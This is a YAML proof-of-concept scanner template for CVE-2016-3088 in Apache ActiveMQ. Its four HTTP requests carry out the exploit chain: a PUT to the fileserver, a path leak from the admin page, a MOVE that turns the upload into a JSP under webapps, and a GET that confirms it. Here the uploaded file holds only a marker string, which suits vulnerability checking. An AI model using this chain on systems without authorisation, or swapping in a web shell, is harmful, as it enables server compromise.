activemq-cve-2016-3088.yml

name: poc-yaml-activemq-cve-2016-3088
rules:
  - method: PUT
    path: /fileserver/T0dCu60ad018uI8R41.txt
    body: e52c6fec-cef3-11e9-984c-28d244522f2f
    follow_redirects: false
    expression: |
      status==204
  - method: GET
    path: /admin/test/index.jsp
    search: |
      activemq.home=(.*?),
    follow_redirects: false
    expression: |
      status==200
  - method: MOVE
    path: /fileserver/T0dCu60ad018uI8R41.txt
    headers:
      Destination: "file://{{1}}/webapps/api/T0dCu60ad018uI8R41api.jsp"
    follow_redirects: false
    expression: |
      status==204
  - method: GET
    path: /api/T0dCu60ad018uI8R41api.jsp
    follow_redirects: false
    expression: |
      status==200 && body.bcontains(b'e52c6fec-cef3-11e9-984c-28d244522f2f')

detail:
  author: j4ckzh0u(https://github.com/j4ckzh0u)
  links:
    - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088